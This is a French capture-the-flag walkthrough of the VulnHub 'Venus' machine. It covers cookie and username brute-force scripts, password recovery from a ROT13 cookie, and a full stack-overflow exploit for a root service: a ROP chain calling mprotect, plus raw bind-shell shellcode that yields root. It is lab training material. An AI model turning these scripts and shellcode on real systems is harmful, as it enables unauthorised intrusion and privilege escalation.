Le CTF Venus de la série The Planets, créé par SirFlash et disponible sur VulnHub, est annoncé comme était de difficulté moyenne. Pour une fois, j’augmenterais le trait en disant qu’il est difficile.
Il faut un peu d’expérience pour la première partie qui requiert d’énumérer toutes les hypothèses, les essayer de manière approfondie (et avec des wordlists suffisamment grosses) et bien faire attention aux détails.
Pour l’escalade de privilèges, on passe sur un grand classique des CTFs mais (sans en dire davantage) quelques particularités corsent un peu l’exploitation. Il y a plusieurs façons d’arriver à ses fins sur cet exercice.
Type “cookie”, you idiot.
Sur le port 8080 on trouve un serveur web qui se présente comme WSGIServer/0.2 CPython/3.9.5
.
J’ai déjà croisé cette bannière sur deux CTFs et à chaque fois, il y avait un Django derrière. Dans un cas comme ça, c’est généralement peu intéressant d’énumérer des noms de fichiers. On préférera faire une enumeration avec une liste de mots pour trouver des chemins d’API.
La page d’accueil est une mire de connexion avec le commentaire suivant :
Credentials guest:guest can be used to access the guest account.
Une fois connecté on a des informations sur la planète Venus, mais c’est tout :
Temperature: 464C
Surface pressure: 93 bar
Atmospheric composition: 96.5% carbon dioxide, 3.5% nitrogen
On regarde alors les cookies. Il y en a un qui est défini dans un format assez inhabituel avec des guillemets :
1
Set-Cookie: auth="Z3Vlc3Q6dGhyZmc="; Path=/
C’est bien sûr du base64 qui se décode de cette façon : guest:thrfg
La seconde partie après le :
correspond au ROT13 de guest
.
J’ai fait la liste des hypothèses :
on ignore la particularité du cookie et tente de bruteforcer un autre compte (ex :
admin
) sans être sûr qu’il existeon tente d’injecter des payloads dans le cookie encodé en base64 en espérant qu’une donnée soit utilisée pour du SQL ou du traitement de fichier
Pour l’attaque bruteforce on peut utiliser facilement ffuf
:
1
ffuf -u http://192.168.56.177:8080/ -w wordlists/rockyou.txt -d 'username=admin&password=FUZZ' -H 'Content-Type: application/x-www-form-urlencoded' -X POST -fs 651 -t 20
Après un bon moment, force est de constater qu’on n’est pas sur la bonne voie.
Pour l’autre possibilité je n’ai pas fait dans la dentelle en injectant toutes les wordlists fuzzdb
d’attaque :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import sys
import codecs
from base64 import b64encode
from glob import glob
import requests
def rot13(s: str) -> str:
return codecs.encode(s, "rot-13")
def create_cookie(s: str) -> str:
s = "guest:" + s
return b64encode(s.encode(encoding="utf-8", errors="ignore")).decode()
sess = requests.session()
def process_filename(filename: str):
global sess
with open(filename, encoding="utf-8", errors="ignore") as fd:
for line in fd:
payload = line.strip()
response = sess.get(
"http://192.168.56.177:8080/",
headers={"Cookie": f'auth="{create_cookie(payload)}"'}
)
if len(response.content) != 626 or response.status_code != 200:
print("="* 30)
print(response.status_code)
print(payload)
print(response.text)
print("="* 30)
for filename in glob("fuzzdb/attack/**/*.txt"):
print(filename)
process_filename(filename)
Aucune injection n’a été détectée, mais ça a permis de mettre en évidence une vulnérabilité : si le cookie n’a pas la partie ROT13 (donc juste guest:
ou même guest
) alors l’authentification fonctionne tout de même.
Par conséquent, il n’est plus question de bruteforcer un mot de passe, mais un nom d’utilisateur :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import sys
from base64 import b64encode
import requests
sess = requests.session()
with open(sys.argv[1], encoding="utf-8", errors="ignore") as fd:
for line in fd:
username = line.strip()
payload = b64encode(username.encode()).decode()
response = sess.get("http://192.168.56.177:8080/", headers={"Cookie": f'auth="{payload}";'})
if len(response.content) != 626 or response.status_code != 200:
print("=" * 30)
print(response.status_code)
print(username)
print(response.content)
sess = requests.session()
print("=" * 30)
J’avais une wordlist english
provenant certainement de Packet Storm mais elle n’a trouvé que les utilisateurs guest
et venus
. Avec une wordlist plus grande j’ai trouvé le compte qu’il fallait :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ python3 brute_users.py fuzzdb/discovery/predictable-filepaths/filename-dirname-bruteforce/raft-large-words-lowercase.txt
==============================
200
guest
b'<html>\n<head>\n<title>Venus Monitoring</title>\n<style>\n.aligncenter {\n text-align: center;\n}\n</style>\n</head>\n<body>\n<h1 class="aligncenter"> Venus Monitoring </h1>\n<p class="aligncenter">\n\n<img src="/static/venus1.jpg" alt="Pictures of Venus" width="400" height="400">\n</p>\n<br />\n<br />\n<h2>Current status:</h2>\nTemperature: 464C\n<br />\nSurface pressure: 93 bar\n<br />\nAtmospheric composition: 96.5% carbon dioxide, 3.5% nitrogen\n</body>\n</html>\n'
==============================
==============================
200
venus
b'<html>\n<head>\n<title>Venus Monitoring</title>\n<style>\n.aligncenter {\n text-align: center;\n}\n</style>\n</head>\n<body>\n<h1 class="aligncenter"> Venus Monitoring </h1>\n<p class="aligncenter">\n\n<img src="/static/venus1.jpg" alt="Pictures of Venus" width="400" height="400">\n</p>\n<br />\n<br />\n<h2>Current status:</h2>\nTemperature: 464C\n<br />\nSurface pressure: 93 bar\n<br />\nAtmospheric composition: 96.5% carbon dioxide, 3.5% nitrogen\n</body>\n</html>\n'
==============================
==============================
200
magellan
b'<html>\n<head>\n<title>Venus Monitoring</title>\n<style>\n.aligncenter {\n text-align: center;\n}\n</style>\n</head>\n<body>\n<h1 class="aligncenter"> Venus Monitoring </h1>\n<p class="aligncenter">\n\n<img src="/static/venus1.jpg" alt="Pictures of Venus" width="400" height="400">\n</p>\n<br />\n<br />\n<h2>Current status:</h2>\nTemperature: 464C\n<br />\nSurface pressure: 93 bar\n<br />\nAtmospheric composition: 96.5% carbon dioxide, 3.5% nitrogen\n</body>\n</html>\n'
==============================
Malheureusement la page sur laquelle tombe l’utilisateur magellan
ets la même que les autres.
Il fallait être attentif au cookie retourné par le serveur lors de l’authentification qui est différent de celui que l’on soumet :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ echo -n magellan | base64
bWFnZWxsYW4=
$ curl -I -H 'Cookie: auth="bWFnZWxsYW4=";' http://192.168.56.177:8080/
HTTP/1.1 200 OK
Date: Thu, 15 Apr 2023 15:40:55 GMT
Server: WSGIServer/0.2 CPython/3.9.5
Content-Type: text/html; charset=utf-8
X-Frame-Options: DENY
Content-Length: 450
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
Set-Cookie: auth="bWFnZWxsYW46aXJhaGZ2bmF0cmJ5YnRsMTk4OQ=="; Path=/
$ echo bWFnZWxsYW46aXJhaGZ2bmF0cmJ5YnRsMTk4OQ== | base64 -d
magellan:irahfvnatrbybtl1989
$ echo irahfvnatrbybtl1989 | tr 'n-za-mN-ZA-M' 'a-zA-Z'
venusiangeology1989
Le cookie retourné inclus le mot de passe de l’utilisateur. Cela aurait encore été plus clair au début si l’utilisateur guest
avait un mot de passe différent du nom d’utilisateur.
This is the end, my friend. Thank you for calling.
Les identifiants permettent de se connecter via SSH et de récupérer le premier flag :
1
2
[magellan@venus ~]$ cat user_flag.txt
[user_flag_e799a60032068b27b8ff212b57c200b0]
Une énumération ne remonte rien de particulier si ce n’est ce binaire qui tourne avec les droits root
:
1
root 697 0.0 0.0 2384 524 ? Ss 08:03 0:00 /usr/bin/venus_messaging
On n’est pas root
donc on ne peut pas directement voir quel port l’exécutable a ouvert via ss -lntp
mais je remarque un port 9080 qui est protégé des accès extérieurs par le parefeu.
En m’y connectant avec le netcat de la VM, il n’y a aucun doute que les deux soient liés :
Welcome to the Venus messaging service.
To continue, please enter your password:
Le binaire n’est pas setuid root. C’est un binaire 64bits linké dynamiquement.
Points importants :
NX est actif
Pas de canary (stack protector off)
ASLR est désactivée sur le système (
0
dans/proc/sys/kernel/randomize_va_space
)
Quand on ouvre le binaire dans Cutter
on trouve vite trouve le mot de passe demandé en regardant la fonction main
:
1
2
3
4
5
6
7
8
9
10
11
12
13
0x00401280 mov qword [s1], str.loveandbeauty ; 0x402010
;;; snip ;;;
0x00401432 lea rdx, [buffer]
0x00401439 mov rax, qword [s1]
0x0040143d mov rsi, rdx ; const char *s2
0x00401440 mov rdi, rax ; const char *s1
0x00401443 call strcmp ; sym.imp.strcmp ; int strcmp(const char *s1, const char *s2)
0x00401448 test eax, eax
0x0040144a jne 0x401471
0x0040144c mov eax, dword [fildes]
0x0040144f mov ecx, 0 ; int flags
0x00401454 mov edx, 0x6c ; 'l' ; 108 ; size_t length
0x00401459 mov esi, str.Access_granted__you_can_now_send_messages_to_the_Venus_space_station._Please_enter_message_to_be_processed: ; 0x402100 ; void *buffer
Une fois l’authentification passée, la fonction recv_message
suivante est utilisée :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
recv_message (uint64_t arg1);
; arg uint64_t arg1 @ rdi
; var uint64_t socket @ stack - 0x41c
; var const char *buffer @ stack - 0x418
; var int64_t var_410h @ stack - 0x410
; var size_t length @ stack - 0x408
; var ssize_t var_ch @ stack - 0xc
0x004014bc push rbp
0x004014bd mov rbp, rsp
0x004014c0 sub rsp, 0x420
0x004014c7 mov dword [socket], edi ; arg1
0x004014cd mov qword [buffer], 0
0x004014d8 mov qword [var_410h], 0
0x004014e3 lea rdx, [length]
0x004014ea mov eax, 0
0x004014ef mov ecx, 0x7e ; '~' ; 126
0x004014f4 mov rdi, rdx
0x004014f7 rep stosq qword [rdi], rax
0x004014fa lea rsi, [buffer] ; void *buffer
0x00401501 mov eax, dword [socket]
0x00401507 mov ecx, 0 ; int flags
0x0040150c mov edx, 0x800 ; 2048 ; size_t length
0x00401511 mov edi, eax ; int socket
0x00401513 call recv ; sym.imp.recv ; ssize_t recv(int socket, void *buffer, size_t length, int flags)
0x00401518 mov dword [var_ch], eax
0x0040151b cmp dword [var_ch], 0
0x0040151f jle 0x401577
0x00401521 mov eax, dword [var_ch]
0x00401524 sub eax, 1
0x00401527 cdqe
0x00401529 mov byte [rbp + rax - 0x410], 0
0x00401531 mov edi, str.Message_received: ; 0x4021ec ; const char *s
0x00401536 call puts ; sym.imp.puts ; int puts(const char *s)
0x0040153b lea rax, [buffer]
0x00401542 mov rdi, rax ; const char *s
0x00401545 call puts ; sym.imp.puts ; int puts(const char *s)
0x0040154a mov eax, dword [socket]
0x00401550 mov ecx, 0 ; int flags
0x00401555 mov edx, 0x38 ; '8' ; 56 ; size_t length
0x0040155a mov esi, str.Message_sent_to_the_Venus_space_station._Enter_message: ; 0x402200 ; void *buffer
0x0040155f mov edi, eax ; int socket
0x00401561 call send ; sym.imp.send ; ssize_t send(int socket, void *buffer, size_t length, int flags)
0x00401566 mov edi, str.Message_acknowledgement_sent. ; 0x402239 ; const char *s
0x0040156b call puts ; sym.imp.puts ; int puts(const char *s)
0x00401570 mov eax, 1
0x00401575 jmp 0x40157c
0x00401577 mov eax, 0
0x0040157c leave
0x0040157d ret
On voit ici que 0x420
octets sont réservés pour la stack frame (instruction sub rsp
) alors que l’appel à recv
autorise la récupération de 0x800
octets de données. C’est donc un cas de stack overflow.
Je balance une chaine cyclique générée par pwntools
, mais le pattern_create
de Metasploit ferait tout aussi bien le travail. Je dois faire le débug localement, d’abord parce que le port est déjà utilisé par l’instance qui fonctionne en root mais surtout parce que gdb
est absent de la VM (ça s’est avéré assez embêtant).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
[----------------------------------registers-----------------------------------]
RAX: 0x1
RBX: 0x7fffffffda88 --> 0x7fffffffdf23 ("/tmp/venus_messaging")
RCX: 0x7ffff7ea8e64 (<write+22>: cmp rax,0xfffffffffffff000)
RDX: 0x0
RSI: 0x4052a0 ("Message acknowledgement sent.\naaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab"...)
RDI: 0x7ffff7f93fd0 --> 0x0
RBP: 0x6b61616c6b61616b ('kaaklaak')
RSP: 0x7fffffffd508 ("maaknaakoaakpaakqaakraaksaaktaakuaakvaakwaakxaakyaakzaalbaalcaaldaaleaalfaalgaalhaaliaaljaalkaallaalmaalnaaloaalpaalqaalraalsaaltaaluaalvaalwaalxaalyaalzaambaamcaamdaameaamfaamgaamhaamiaamjaamkaamlaam"...)
RIP: 0x40157d (<recv_message+193>: ret)
R8 : 0xe0c0
R9 : 0x0
R10: 0x0
R11: 0x202
R12: 0x0
R13: 0x7fffffffda98 --> 0x7fffffffdf38 ("SHELL=/bin/bash")
R14: 0x7ffff7ffd000 --> 0x7ffff7fc1000 --> 0x0
R15: 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x401575 <recv_message+185>: jmp 0x40157c <recv_message+192>
0x401577 <recv_message+187>: mov eax,0x0
0x40157c <recv_message+192>: leave
=> 0x40157d <recv_message+193>: ret
0x40157e: xchg ax,ax
0x401580 <__libc_csu_init>: endbr64
0x401584 <__libc_csu_init+4>: push r15
0x401586 <__libc_csu_init+6>: lea r15,[rip+0x2883] # 0x403e10
[------------------------------------stack-------------------------------------]
peda
nous donne bon nombre d’informations intéressantes. Le stack overflow a bien lieu dans recv_message
avec l’écrasement de rip
lors de l’instruction ret
.
Le saut n’a pas été pris, car l’adresse mémoire est soit non mappée, soit non exécutable. Dans tous les cas, la chaine pointée par rsp
nous permet de déterminer l’offset où le programme cherche son adresse de retour.
On n’a aucun autre registre qui a une valeur vraiment utile. J’ai d’abord cru que r14
correspondait à la base de la stack alors qu’il s’agit de la zone pour le linker (/usr/lib64/ld-2.33.so
)… Ca a dû me faire prendre une bonne heure 😅
On a d’autres difficultés dues au fait que le binaire soit déjà lancé et écouté sur un port :
on ne contrôle pas son environnement donc impossible de profiter d’un shellcode ou ROP chain dans une variable d’environnement
on ne peut pas faire exécuter un shell simplement, car stdin / stdout ne sont pas redirigés sur le socket
on ne peut pas voir le mapping mémoire du binaire (
/proc/pid/maps
) car il tourne enroot
Après, quel que soit le binaire, avec l’ASLR désactivé l’adresse de la stack est stable :
1
2
3
4
5
6
7
8
[magellan@venus ~]$ cat /proc/self/maps | grep stack
7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack]
[magellan@venus ~]$ tac /proc/self/maps | grep stack
7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack]
[magellan@venus ~]$ more /proc/self/maps | grep stack
7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack]
[magellan@venus ~]$ less /proc/self/maps | grep stack
7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack]
On a vu qu’on ne peut pas faire exécuter /bin/sh
à cause des entrées / sorties, mais on pourrait faire exécuter autre chose en fonction des chaines de caractères présentes en mémoire.
On ne peut pas se servir de la chaine loveandbeauty
car on ne dispose pas de permissions suffisantes pour placer un exécutable de ce nom dans le PATH de l’exécutable.
Au passage, j’ai remarqué un chemin intéressant sur une libc récente :
1
2
3
$ strings -t x -a /lib64/libc.so.6 | grep "/dev/shm".
1a98f9 /dev/shm/
1b2330 /dev/shm/sem.XXX
Cette dernière chaine n’est pas présente dans la libc de la VM mais ça peut être intéressant pour des exploitations futures :)
La méthode d’exploitation que j’ai retenue consiste à utiliser mprotect
via Return Oriented Programming pour rendre la stack exécutable (désactiver NX) puis sauter sur un shellcode qu’on aura placé juste après.
Faute de gdb
, je suis parvenu à obtenir l’adresse mémoire de mprotect
en additionnant l’adresse de la stack et l’offset de mprotect
dans /lib64/libc.so.6
:
1
2
3
4
5
6
7
8
[magellan@venus ~]$ ldd /usr/bin/venus_messaging
linux-vdso.so.1 (0x00007ffff7fc9000)
libc.so.6 => /lib64/libc.so.6 (0x00007ffff7dee000)
/lib64/ld-linux-x86-64.so.2 (0x00007ffff7fcb000)
[magellan@venus ~]$ nm -D /lib64/libc.so.6 | grep mprotect
00000000000fb070 T __mprotect@@GLIBC_PRIVATE
00000000000fb070 W mprotect@@GLIBC_2.2.5
0000000000100a50 T pkey_mprotect@@GLIBC_2.27
Petit rappel sur la convention d’appel des fonctions en x86_64 :
First six arguments are in rdi, rsi, rdx, rcx, r8d, r9d; remaining arguments are on the stack.
mprotect
prenant trois arguments, il me faut des gadgets (trouvés avec ROPgadget
) pour remplir chacun des registres. Il me faut aussi un gadget pour sauter sur la stack :
1
2
3
4
5
6
7
8
; offsets trouvés en local pour les tests
; binary
0x00000000004015e3 : pop rdi ; ret
0x00000000004015e1 : pop rsi ; pop r15 ; ret
; libc
0x0000000000089688 : pop rax ; pop rdx ; pop rbx ; ret
0x0000000000032bf6 : push rsp ; ret
Voici mon exploit final :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import sys
from pwnlib.tubes.remote import remote
from pwnlib.util.packing import p64
# gadgets from binary
pop_rdi_ret = 0x004015e3
pop_rsi_r15_ret = 0x4015e1
if sys.argv[1] == "local":
libc_base = 0x7ffff7da6000
stack_base = 0x7ffffffdd000
mprotect = libc_base + 0x10d190
# gadgets from libc
pop_rax_rdx_rbx_ret = libc_base + 0x89688
push_rsp_ret = libc_base + 0x32bf6
else:
libc_base = 0x7ffff7dee000
stack_base = 0x7ffffffde000
mprotect = libc_base + 0xfb070
# gadgets from libc
pop_rax_rdx_rbx_ret = libc_base + 0x13a7a5
push_rsp_ret = libc_base + 0x3c4bd
payload = p64(0xdeadbeefdeadbeef) * 131
payload += p64(pop_rdi_ret)
payload += p64(stack_base) # premier argument : adresse mémoire
payload += p64(pop_rsi_r15_ret)
payload += p64(0x0101010101010101) # second argument : taille mémoire
payload += p64(0xdeadbeefdeadbeef)
payload += p64(pop_rax_rdx_rbx_ret)
payload += p64(0xdeadbeefdeadbeef)
payload += p64(7) # troisième argument : permissions (RWX)
payload += p64(0xdeadbeefdeadbeef)
payload += p64(mprotect)
payload += p64(push_rsp_ret) # on saute sur le shellcode qui suit
payload += (
# setuid(0)
b"\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05"
# bind port 4444
b"\x31\xc0\x31\xdb\x31\xd2\xb0\x01\x89\xc6\xfe\xc0\x89\xc7\xb2"
b"\x06\xb0\x29\x0f\x05\x93\x48\x31\xc0\x50\x68\x02\x01\x11\x5c"
b"\x88\x44\x24\x01\x48\x89\xe6\xb2\x10\x89\xdf\xb0\x31\x0f\x05"
b"\xb0\x05\x89\xc6\x89\xdf\xb0\x32\x0f\x05\x31\xd2\x31\xf6\x89"
b"\xdf\xb0\x2b\x0f\x05\x89\xc7\x48\x31\xc0\x89\xc6\xb0\x21\x0f"
b"\x05\xfe\xc0\x89\xc6\xb0\x21\x0f\x05\xfe\xc0\x89\xc6\xb0\x21"
b"\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68"
b"\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89"
b"\xe6\xb0\x3b\x0f\x05\x50\x5f\xb0\x3c\x0f\x05"
)
payload += b"\n"
r = remote("127.0.0.1", 9080)
r.recvuntil(b"To continue, please enter your password:")
r.send(b"loveandbeauty\n")
r.recvuntil(b"Please enter message to be processed:")
r.send(payload)
print(r.recv(1024))
r.close()
Je me suis rendu après coup que j’aurais pu utiliser les fonctionnalités de pwntools
pour obtenir et calculer les adresses mémoires au lieu de le faire manuellement…
Pour l’exploitation je forwarde d’abord le port 9080 sur ma machine :
1
ssh -N -L 9080:127.0.0.1:9080 magellan@192.168.56.177
Une fois l’exploit lancé on obtient notre shell root
sur le port 4444 :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
[magellan@venus ~]$ nc 127.0.0.1 4444 -v
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Connected to 127.0.0.1:4444.
id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:unconfined_service_t:s0
cd /root
ls
anaconda-ks.cfg
root_flag.txt
cat root_flag.txt
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@/##////////@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@(((/(*(/((((((////////&@@@@@@@@@@@@@
@@@@@@@@@@@((#(#(###((##//(((/(/(((*((//@@@@@@@@@@
@@@@@@@@/#(((#((((((/(/,*/(((///////(/*/*/#@@@@@@@
@@@@@@*((####((///*//(///*(/*//((/(((//**/((&@@@@@
@@@@@/(/(((##/*((//(#(////(((((/(///(((((///(*@@@@
@@@@/(//((((#(((((*///*/(/(/(((/((////(/*/*(///@@@
@@@//**/(/(#(#(##((/(((((/(**//////////((//((*/#@@
@@@(//(/((((((#((((#*/((///((///((//////(/(/(*(/@@
@@@((//((((/((((#(/(/((/(/(((((#((((((/(/((/////@@
@@@(((/(((/##((#((/*///((/((/((##((/(/(/((((((/*@@
@@@(((/(##/#(((##((/((((((/(##(/##(#((/((((#((*%@@
@@@@(///(#(((((#(#(((((#(//((#((###((/(((((/(//@@@
@@@@@(/*/(##(/(###(((#((((/((####/((((///((((/@@@@
@@@@@@%//((((#############((((/((/(/(*/(((((@@@@@@
@@@@@@@@%#(((############(##((#((*//(/(*//@@@@@@@@
@@@@@@@@@@@/(#(####(###/((((((#(///((//(@@@@@@@@@@
@@@@@@@@@@@@@@@(((###((#(#(((/((///*@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@%#(#%@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Congratulations on completing Venus!!!
If you have any feedback please contact me at SirFlash@protonmail.com
[root_flag_83588a17919eba10e20aad15081346af]
Solutions alternatives
Je suis content d’avoir utilisé la méthode mprotect
qui me trainait en tête depuis un moment, mais j’ai vu d’autres solutions sur le web :
mcl0x90 utilise le fait que l’ASLR soit désactivé pour mettre un path dans son payload et tenter de deviner l’adresse de cette chaine pour appeler system
. C’est assez hasardeux, car on n’a pas de vue sur les adresses mémoire. Il répète le path dans son payload pour augmenter ses chances, mais ça aurait été plus judicieux de préfixer le path d’un millier de /
.
datajerk a utilisé la technique consistant à faire fuiter l’adresse d’une fonction de la libc pour ensuite calculer l’adresse de system
. Il utilise le fait que le socket correspond généralement au file descriptor 4
. Il réutilise aussi la fonction recv
pour passer par exemple la commande qu’il souhaite faire exécuter. Il s’est bien pris la tête, mais son exploit fonctionnerait même si l’ASLR était activé.